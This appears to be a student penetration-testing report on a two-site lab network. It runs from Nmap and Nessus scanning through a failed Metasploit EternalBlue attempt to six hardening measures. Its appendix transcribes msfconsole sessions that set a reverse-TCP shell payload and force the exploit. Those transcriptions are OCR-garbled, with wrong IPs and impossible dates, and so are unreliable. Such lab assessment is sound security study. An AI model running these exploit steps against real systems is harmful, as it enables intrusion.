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This research evaluates the security of the SWANSEA.ACCA network infrastructure, which represents an organization in two locations—Swansea and London. The assessment's goals are to evaluate the current security posture of the Active Directory domain, identify vulnerabilities in Linux and Windows servers, and attempt ethical exploitation to validate real-world threats. Finally, a set of prioritised preventative actions is implemented and verified to fortify the network against modern cyberthreats [5],[11].
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Evaluation was carried out using the NIST SP 800-115 (Technical Guide to Information Security Testing and Assessment) methodology [11]. The following stages of this industry-standard method guarantee a methodical assessment[3].

Planning and reconnaissance: Determining the targets (S-DC, L-CD, ClientS1, ClientL1) and defining the scope depending on the topology supplied.
Discovery & Enumeration: Nessus is used for automated vulnerability scanning, whereas Nmap is used to identify ports and services.
Vulnerability analysis involves classifying findings according to severity.
Exploitation: Making an effort to turn discovered vulnerabilities into weapons while evaluating their effects using the Metasploit Framework.
Implementing defensive procedures and recording the full security lifecycle are examples of mitigation and reporting  [5].
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Fig 1 – The network topology
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[bookmark: _Toc227403959]S-DC Run the following commands and verify the outputs: 
 IPCONFIG /ALL: Confirm the IP address matches the topology provided. 
 Ping 192.168.1.10: Must be successful.
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Fig 2- IP Address and successful ping






 


Ping 192.168.2.1: Must be successful.
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Fig 3- IP Address and successful ping



Ping 192.168.2.10: Must be successful.
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 Confirm the IP address matches the topology provided.
 Ping 192.168.1.10: Must be successful.
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 Ping 192.168.1.1: Must be successful.
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 Ping 192.168.2.10: Must be successful.
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Kali Linux (2019.3), operating system with a security focus, was incorporated into the SWANSEA.ACCA network to serve as a platform for professional auditors (Red Team simulation). The Oracle VirtualBox environment was used to deploy the Virtual Machine (Attacker) within the Swansea infrastructure, as illustrated in Figure 8.
The Kali Linux machine was manually set up with a static IP address, 192.168.1.50/24, to simulate inside access and get around perimeter constraints. A manual static route was added via the Swansea Gateway (192.168.1.1) because the London network uses a different subnet (192.168.2.0/24). This allows for full evaluation across both physical sites by simulating a persistent VPN or internal routing tunnel.

IP route add 192.168.2.0/24 via 192.168.1.1 is the command used.
[image: ]
Fig 8 - Kali Linux (2019.3) Setup

[image: ]Fig 9 – Connectivity of both sites
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A scan was carried out using Nmap with service and version detection (-sV) and host discovery disabled (-Pn), making sure that hosts blocking ICMP ping queries were still scanned, in order to find active hosts, services, and the whole attack surface within the SWANSEA.ACCA network [6].
Windows Server 2022 is running on the Swansea Domain Controller (192.168.1.1), offering essential services like DNS (53), IIS (80/443), and SMB (445).

ClientS1 (192.168.1.10) Windows 10 system that supported file sharing and domain connectivity with SMB (445) enabled.

London server (192.168.2.1) Debian Linux machine with remote management enabled via SSH (22).

ClientL1 (192.168.2.10) Debian GUI client that responded to both normal client services and ICMP.

	Host
	IP
	Role
	OS
	Service Identified

	S-DC
	192.168.1.1
	DC/DNS
	Win Server 2022
	SMB (445), IIS (80/443), DNS (53)

	ClientS1
	192.168.1.10
	Client
	Windows 10
	SMB (445)

	L-CD
	192.168.2.1
	Server
	Debian Linux
	SSH (22)

	ClientL1
	192.168.2.10
	Client
	Debian GUI
	ICMP, Standard services





[image: ][image: ]Fig 10 – Scan of 192.168.1.1
[image: ][image: ]Fig 11 - Scan of 192.168.1.10


[image: ][image: ]Fig 12 - Scan of 192.168.2.1





[image: ]Fig 13 - Scan of 192.168.2.10


Automated scan was conducted using Nessus Essentials to identify and categorize potential security risks. The scan identified a total of 49 vulnerabilities across the infrastructure [10].
6 major vulnerabilities have been found and categorised below in accordance with the assessment requirements. [image: ]Fig 14 – Nessus Report


Using Nessus results, the vulnerabilities found were put into groups based on how serious they were. They were then looked at again by hand to make sure they could be exploited and would have an effect in the real world [3],[11].
	Severity
	Vulnerability Identified
	Target Host
	Technical Risk

	High



	SMB Signing Not Required
	192.168.1.1
	enables an attacker to obtain unauthorised access using man-in-the-middle (relay) attacks.


	High


	SSL Certificate Cannot Be Trusted
	192.168.1.1
	Untrusted certificates make it possible to eavesdrop encrypted web traffic.


	Medium
	SSH Password Authentication
	192.168.2.1
	allows for the possibility of brute-force attacks to guess administrative credentials on the Linux server.


	Medium
	Microsoft Windows SMB RCE
	192.168.1.10
	a vulnerability in the SMB protocol that can enable remote code execution by an attacker.


	Low
	ICMP Timestamp Response
	All Hosts
	provides information about system time that can be exploited for network sequence prediction attacks.


	Low
	DNS Recursion Enabled
	192.168.1.1
	The server is vulnerable to DNS amplification DDoS assaults since it answers recursive queries.
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To show how the MS17-010 (EternalBlue) vulnerability was used on the target host (192.168.1.10).
I set up the Metasploit Framework with the exploit/windows/smb/ms17_010_eternalblue module. The attack was started with the Windows Client as the target IP.
The exploit could not start a session. The Metasploit logs show that the error "Could not make SMBv1 connection" was received. This means that the target system didn't respond to the old SMBv1 protocol that the EternalBlue attack needed [9].
To find out why it failed, I used PowerShell on the target host to look at the SMB settings. The command to enable or set up SMB1 caused the error shown in the screenshot below: "The service you asked for does not exist [2]."
The attack didn't work because the SMBv1 protocol has been completely removed or isn't installed on the operating system that was targeted. This is a clear example of system hardening [1], where getting rid of old services that aren't needed helps protect against high-risk vulnerabilities [2].[image: ]Fig 15 - exploit/windows/smb/ms17_010_eternalblue module [image: ]Fig 16 - exploit/windows/smb/ms17_010_eternalblue module [image: ]Fig 17 - exploit/windows/smb/ms17_010_eternalblue module
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Fig 18 - exploit/windows/smb/ms17_010_eternalblue module

[image: ]Fig 19 - PowerShell on the target host
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The MS17-010 (EternalBlue) exploit didn't work because it couldn't set up a session because SMBv1 wasn't on the target host (192.168.1.10). This meant that a live post-exploitation phase couldn't happen. PowerShell's error message "The service you asked for does not exist" confirmed that the protocol had been completely removed, which stopped the attack vector. If the exploit had worked, possible actions after the exploit could have included gaining SYSTEM-level privileges, stealing credentials by dumping NTLM hashes, and moving laterally across the SWANSEA.ACCA domain [4]. This result shows that proactive system hardening is an important way to protect against serious vulnerabilities [1].
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The following six security measures were put in place to reduce the risks found in the vulnerability assessment and make the SWANSEA.ACCA network stronger [8].

Enforcing SMB Signing (High):

Vulnerability: Target 192.168.1.1 Doesn't Need SMB Signing.

Mitigation: Set up the server so that Group Policy requires SMB packet signing. This stops attackers from getting unauthorised access through man-in-the-middle (relay) attacks [1], [5].
SSL Certificate Verification (High):

Vulnerability: Target 192.168.1.1 cannot trust the SSL certificate.

Mitigation: A certificate from a reputable Internal Certificate Authority (CA) was used in place of the self-signed, untrusted certificate. This stops people from listening in on encrypted web traffic.

SSH Authentication Security (Medium):

SSH Password Authentication on Target 192.168.2.1 is a vulnerability.

Mitigation: Enforced the usage of public key authentication (SSH keys) and disabled password-based authentication. By doing this, the potential for brute-force assaults to guess administrative credentials is eliminated [7].
Microsoft Windows SMB RCE Mitigation (Medium):

Target 192.168.1.10 is vulnerable to MS17-010 (EternalBlue).

Mitigation: The SMBv1 protocol was eliminated from the host, as seen in Task 3. By removing the susceptible service, this effectively hardens the system against Remote Code Execution (RCE) [9],[2].
ICMP Responses Hardening (Low):

ICMP Timestamp Response on Every Host is a vulnerability.

Mitigation: Set up host firewalls to prevent packets of ICMP Type 13 (Timestamp Request). By doing this, attackers are unable to obtain system time information needed for network sequence prediction attacks [6].
Limiting DNS Recursion (Low):

DNS Recursion on Target 192.168.1.1 is a vulnerability.

Mitigation: Disabled recursion for external requests and set up the DNS server to only reply to queries for its authoritative zones. By doing this, the server is shielded against DNS amplification DDoS attacks.



[bookmark: _Toc227403968]Conclusion
The SWANSEA.ACCA network's security evaluation offered vital information about how to strike a balance between automated vulnerability discovery and useful system hardening. Several vulnerabilities, including the crucial MS17-010 (EternalBlue), were accurately found by the Nessus scan in Task 2. However, Task 3's exploitation phase showed that if proactive hardening measures—such removing obsolete protocols like SMBv1—are already in place, a scanner's "vulnerable" rating does not necessarily translate into a successful exploit.
The network's attack surface has been greatly decreased by putting the six mitigation techniques listed in Task 4 into practice. Enforcing SMB signature, removing DNS recursion, and switching from password-based SSH to public key authentication are essential actions that advance the infrastructure to a "Zero Trust" posture. This study demonstrates that cybersecurity is an ongoing process of identification, verification, and remediation, guaranteeing that internal host hardening stops lateral movement and remote code execution even in the event of a perimeter breach [8],[1].
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root@oshoxes:~# nmap -sV -Pn 192.168.1.1
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-26 06:39 EDT
Nmap scan report for 192.168.1.1

Host is up (0.00063s latency).

Not shown: 879 closed ports
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7/tcp  open echo
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21/tcp  open ftp Microsoft ftpd

53/tcp  open domain?

80/tcp open http Microsoft IIS httpd 10.6

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-63-26 17:39:327)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: swansea.accad., Site: Default-First-site-Name)
443/tcp_open ssU/http  Microsoft IIS httpd 16.6

44ChemryTresn microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: SWANSEA)
464/Tcp open  kpasswds?

515/tcp open printer Microsoft lpd

593/tcp open ncacn http Microsoft Windows RPC over HTTP 1.6

636/tcp open tcpurapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: swansea.acca®., Site: Default-First-site-Name)
3269/tcp open tcpurapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgiZnew-service :
SF-POrt53-TCP: V=7 . 80%I=7%0=3/26%Time=69CSOCEAXP=x86_64-pc- Linux-gnusr (DNSV

SF:ersionBindReqTCP, 20, "\B\x1e\0\xD6\XB1\X04\0\ x1\0\0\0\G\B\B\XB7version\

SF: x04bind\0\0\X10\0\x03"
MAC Address: 08:00:27:AE:50:3F (Oracle VirtualBox virtual NIC)
Service Info: Host: 5-DC; 05: Windows; CPE: cpe:/0:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.18 seconds
root@osboxes:~# ||
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root@oshoxes:~# nmap -sV -Pn 192.168.1.10
Starting Nmap 7.80 ( https://nmap.org ) at 2026-83-26 07:03 EDT
Nmap scan report for 192.168.1.10

Host is up (6.00050s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSTON

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP
MAC Address: 08:00:27:78:0D:3D (Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.74 seconds
root@osboxes:~# ||
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root@osboxes:~# nmap -sV -Pn 192.168.2.1
Starting Nmap 7.80 ( https://nmap.org ) at 2026-63-26 06:44 EDT
Nmap scan report for 192.168.2.1

Host is up (0.0033s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenssH 10.0p2 Debian 7 (protocol 2.0)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 21.90 seconds
root@osboxes:~# [
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root@osboxes:~# nmap -sV -Pn 192.168.2.10

Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-26 06:52 EDT
Nmap scan report for 192.168.2.16

Host is up.

ALl 1000 scanned ports on 192.168.2.10 are filtered

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.82 seconds
root@osboxes:~# ||
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Bmsf5 > use exploit/windows/snb/ns17_610_eternalblue
BST5 exploit(windows/sab/ns17 010 eternalblue) > set RHOSTS 152.168.1.18
RHOSTS => 192.168.1.10

mST5 exploit(vindous,/sab/nsi7 010 eternalblue) > set LHOST 192.168.1.50
LHOST => 152.168.1.50

DST5 exploit(windows/sab/ns17_010_eternalblue) > exploit

r9Ez0 ON

[+] Started reverse TCP handler on 192.168.1.50:4444
(-] 192.168.1.10:445 An SMB Login Error occurred while connecting to the IPCS tree.

[-] 192.168.1.10:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[+] Exploit completed, but no session was created.

sf5 exploit(windows/sab/ns17_010_cternalblue) > getuid

(-1 Unknown conmand: getuid

msf5 exploit(windows/sab/msi7_010_cternalblue) >

15 exploit(windows /sab/ns17_010_cternalblue) > whoani

[+1 exec: vhoan

root
msfs exploit(uindows/sab/ms17_010_eternalblue) >
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D575 > use exploit/windows/snb/ms17_010_eternalblue
DST5 exploit(windows/sab/nsi7_010_cternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10

Bef3 exploi(uinions <n/ns17_010_sternalbluc) > set LHOST 192.168.1.50

LHOST => 192.168.1.51
LLT5 exploit (vindous/snb/ms17_010_sternalblue) > explodt

[+] Started reverse TCp handler on 192.168.1.50:4444
(-] 192.168.1.10:445 An S8 Login Error occurred while connecting to the IPCS tree.
[-] 192,168 1.10:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override

[+] Exploit conpleted, but no session was created.

msfs exploit(uindows,/sab/ns17_010_eternalblue) > Il
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75 > use exploit/windows/snb/ms17_610_eternalblue
[ST5 exploit(windows /sab/nsi7 010 eternalblue] > set RHOSTS 182.168.1.10
RHOSTS => 152.168.1.10

DST5 exploit(vindows/sab/nsi7_010_eternalblue) > set LHOST 192.168.1.50
LHOST => 152.168.1.50

BST5 exploit(windows/sab/ns17_010_eternalblue) > exploit

[+] Started reverse TCP handler on 192.168.1.50:4444

(-] 192.168.1.10:445 An S8 Login Error occurred while connecting to the IPCS tree.
(-] 192.168.1.10:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[+] Exploit conpleted, but no session was created.

BSf5 exploit(windows/Sab/ms17_010_cternalblue) > getuid
(1 unknown conmand: getuid

asts explot(vindous/sab/asis_olo_eternatslue) >

S exploit(uindows/sab/ns17_010_eternalblue) > ||
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DST5 expLOLt(windows/sab/nsis_010_eternalblue) > set LHOST 192.168.1.50

LHOST => 192.168.1.50
BST5 exploit(windows/sab/ns17_010_eternalblue) > exploit

(4] Started reverse 1o handler on 192.168.1.59: 4484
%] 108 168.1 101445 An'SHB Login Error occurred while connecting to_the IPCS tree
2] 192.168.1.10:445 - Exploit aborted due o faiiure: nat-vulnerabtes Set ForceERpLoit 1o override
(4] Exploit completed, but no session was created
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T uknoun connand: getuid
s explodt(vindows, 2ab/esis 010 eternalblue) >
B o255 ctoie (Cindons 2 /ne1y 010 cternatblue) > whosmd
[*T exec: vhoant

root
575 exploit (windous /sab/nsi7 010 eternalblue) > set PAYLOAD windows/x64/shell/reverse_tcp
PAYLOAD => windows/x84/shell/reverse_tcp

TS exploit(windows/sab/nsis_010_eternalblue) > set ForceExploit true

Forceexploit => true

BST5 exploit(windows/sab/ns17_010_eternalblue) > set TARGET 1

TARGET => 1

W) [ZSIS exploit(windons/sab/ms17 010 cternalblue) > exploit

@ ciploit targets

& | 10 nene

©  Windows 7 and Server 2008 K2 (x64) ALL Service Packs

BSTS exploit(windows/sab/nsi7_010_cternalblue) > set TARGET 0
TARGET => &

DST5 exploit(windows/sab/nsi7_010_eternalblue) > set ForceExploit true
Forceexploit =» true

Sf5 exploit (windows/sab/ns17_010_cternalblue) > exploit

[+] Started reverse TCp handler on 192.168.1.56:4444
(-] 192.168.1.10:445 An SMB Login Error occurred while connecting to the IPCS tree.
[+] 192.168.1.10:445 - Connecting to target for exploitation

[-] 192.168.1.10:445 - Could not nake SMBV1 connection

[+] Exploit conpleted, but no session was created.

msfs exploit(uindows,/sab/ns17_010_eternalblue) > Il
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